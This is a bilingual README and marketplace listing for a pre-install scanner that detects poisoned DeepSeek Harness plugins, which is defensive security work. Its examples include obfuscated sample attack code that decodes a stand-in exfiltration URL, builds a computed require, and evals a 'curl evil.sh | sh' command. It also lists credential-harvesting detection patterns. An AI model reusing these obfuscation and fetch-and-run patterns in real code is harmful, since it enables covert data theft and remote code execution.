DSH 插件安装前投毒扫描:AST(JS-X-Ray)+ 去混淆解码 + 正则启发式,发现即非零退出,可作 CI 门禁。
安装
# npm 包(预构建)
dsh plugin --profile web add dsh-poison-guard
# GitHub 源码(首次需按提示配置 allowBuilds 构建授权后重试)
dsh plugin --profile web add github:zoahdev/dsh-poison-guard
装任何插件都等于在你的机器上跑第三方代码,权限和你本人一样大——能读你的文件、用你的凭据、访问网络,工具审批管不到它。GitHub 来源的插件还会在安装时执行构建脚本。请只安装可信来源,并尽量锁定 commit(github:owner/repo#sha)。
README
Live demo: https://zoahdev.github.io/dsh-poison-guard/
Pre-install supply-chain poison scanner for DeepSeek Harness plugins. It is
not a toy regex grep: it runs three layers on every plugin before you dsh plugin add it —
- AST analysis via NodeSecure JS-X-Ray
(the SAST used by NodeSecure CLI): variable tracing, dynamic-import resolution,
obfuscator detection,
eval/Function/vmsinks,data-exfiltration,serialize-environment, unsafe shell commands, and more. - Deobfuscation decoder that unpacks
atob(),Buffer.from(..., "base64"/"hex"),String.fromCharCode(...), and\xNN/\uNNNNescapes, then re-scans the decoded strings for hidden credentials, URLs, and shell commands. - Regex heuristics as a fallback for obvious literals, non-code files, and
install-time scripts (
prepare/postinstall/install/preinstall).
The honest threat model
No static tool can catch all poisoning. Detecting arbitrary malicious behavior in
arbitrary code is undecidable (Rice's theorem); a determined attacker can always craft
an obfuscation this scanner cannot see through. What this tool does is make the cheap,
high-volume attacks — hidden exfiltration URLs, obfuscated require("child_process"),
eval of base64 blobs, process.env harvests, .ssh reads, install-time curl ... | sh —
visible to someone who would never find them by reading source. It is defense-in-depth,
not a security boundary.
The real boundary is the harness sandbox: keep untrusted plugins in workspace-write,
never danger-full-access. The last layer is provenance: prefer verified, maintained,
clearly-authored plugins.
What it detects
| Severity | Examples |
|---|---|
| HIGH | ast/data-exfiltration, ast/unsafe-import (obfuscated require), ast/unsafe-stmt (eval/Function/vm), ast/unsafe-command, deobfuscated-secret, deobfuscated-key, deobfuscated-command, exfil-combo, credential references, private-key paths |
| MEDIUM | ast/serialize-environment, ast/shady-link, ast/sql-injection, ast/monkey-patch, ast/prototype-pollution, deobfuscated-url, network egress, child_process, install-time scripts |
| LOW | ast/encoded-literal, ast/short-identifiers, ast/unsafe-regex, ast/crypto.weak-algorithm, env-read, base64 obfuscation |
Rules are prefixed by layer: ast/* (JS-X-Ray), deobfuscated-* (decoder),
install-script* (manifest), and unprefixed (regex fallback).
Usage
# human-readable verdict
dsh-poison-guard scan ./some-plugin
# machine-readable (for CI gates)
dsh-poison-guard scan ./some-plugin --json
# install into a profile (then the agent gains a `plugin_scan` tool)
dsh plugin --profile web add dsh-poison-guard
# or as a global CLI
npm install -g dsh-poison-guard
Exit code: 0 = CLEAN, 1 = at least one finding (wire it as a CI gate).
Example
🔴 MALICIOUS 8 high / 5 medium / 4 low finding(s)
engine: AST(js-x-ray) + deobfuscation + regex | 1 source file(s), 3 AST warning(s), 3 decoded fragment(s)
[HIGH] ast/unsafe-import index.js:6
obfuscated or untraceable import (require/import of a computed value)
[HIGH] deobfuscated-url index.js:3
decoded obfuscated URL: https://evil.example/exfil
[HIGH] exfil-combo (whole plugin):0
reads credentials/secrets AND makes network requests - the classic exfiltration shape
CI gate
- run: pnpm install --frozen-lockfile
- run: dsh-poison-guard scan ./my-plugin --json
The scanner is synchronous and dependency-light at runtime (AST engine is pure JavaScript, no native modules).
Why AST + deobfuscation beats a regex scanner
A regex scanner misses everything below because there is no literal string to match:
const lib = Buffer.from("6673", "hex").toString() // "fs"
const fs = require(lib) // -> ast/unsafe-import
const target = atob("aHR0cHM6Ly9ldmlsLmV4YW1wbGUvZXhmaWw=") // "https://evil.example/exfil"
await fetch(target) // -> deobfuscated-url
const cmd = String.fromCharCode(99,117,114,108) // "curl"
eval("execSync('" + cmd + " evil.sh | sh')") // -> deobfuscated-command + ast/unsafe-stmt
Limitations
- Static only — does not execute the plugin or observe runtime behavior.
- Obfuscation can be made undecidable; stronger obfuscators (e.g.
javascript-obfuscatorwith string-array + control-flow flattening) may still hide the payload. - The AST layer is tuned to
aggressivesensitivity for maximum visibility; a benign plugin that does realeval/child_processwork will also be flagged. - No sandbox policy is enforced here; pair it with the harness sandbox.
Development
pnpm install --frozen-lockfile
pnpm typecheck
pnpm build
pnpm test
MIT license. Community template — not an official DeepSeek product.
dsh-poison-guard(中文)
DeepSeek Harness 插件的安装前投毒扫描器。不是正则 grep,而是在 dsh plugin add 之前跑三层检测:
- AST 分析(NodeSecure JS-X-Ray,NodeSecure CLI 同款 SAST):变量追踪、动态 import 解析、混淆器识别、
eval/Function/vm、数据外发、process.env序列化、危险 shell 命令等。 - 反混淆解码器:解开
atob()、Buffer.from(...,"base64"/"hex")、String.fromCharCode(...)、\xNN/\uNNNN转义,再对解出来的字符串二次扫描隐藏的密钥、URL、shell 命令。 - 正则兜底:覆盖明显字面量、非代码文件、以及
prepare/postinstall/install/preinstall安装脚本。
老实说边界
任何静态工具都无法拦住所有投毒(Rice 定理,不可判定)。它拦住的是大量低成本攻击:隐藏的外发 URL、混淆的 require("child_process")、base64 eval、process.env 收割、读 .ssh、安装脚本 curl ... | sh。它是纵深防御,不是安全边界。真正的边界是 harness 沙箱:未验证插件永远别开 danger-full-access;最后一层是来源信誉。
用法
dsh-poison-guard scan ./some-plugin
dsh-poison-guard scan ./some-plugin --json # 接 CI 门禁
dsh plugin --profile web add github:zoahdev/dsh-poison-guard
退出码:0 = CLEAN,1 = 有发现。装进 dsh 后,agent 会多一个 plugin_scan 工具,可扫任意插件目录。
为什么比纯正则强
正则抓不到下面这些(因为没有可直接匹配的字面量):
const lib = Buffer.from("6673", "hex").toString() // "fs"
const fs = require(lib) // -> ast/unsafe-import
const target = atob("aHR0cHM6Ly9ldmlsLmV4YW1wbGUvZXhmaWw=")
await fetch(target) // -> deobfuscated-url
MIT 许可。社区模板,非 DeepSeek 官方产品。
链接
同类插件
strukto-ai/mirage#dsh★ 3496
把文件系统与 bash 提供者换成 mirage 虚拟工作区:文件工具与 shell 命令作用于挂载的资源(RAM、S3、Redis、Slack、Gmail、Notion、Postgres)而非宿主磁盘,支持按挂载点设置读/写/执行模式、按命令选择沙箱(进程内 monty、pyodide、quickjs;远程 docker、e2b、daytona),并可在虚拟终端中安装 CLI(git、gh、slack、linear、ntn、gws,或自行注册的程序树)作为命令头词。
hust-open-atom-club/oh-dsh★ 237
社区发行版:TUI、桌面端与 Web UI 统一体验,分层安装、一步到位。
Jayden-X-L/forkprobe★ 67
同一任务并行试跑多个技能,对比结果选出最优。
vlln/plugin-registry★ 53
插件生态基建:浏览器面板管理官方 repository 插件(0 patch)+ make-dsh-plugin 插件开发引导技能。
forrestchang/dsh-multica-runtime★ 45
让 dsh 运行时跑在 Multica 上。
omdsh-dev/dsh-plugin-check★ 24
插件健康检查:扫描清单协议/patch 格式/构建陷阱,零依赖只读。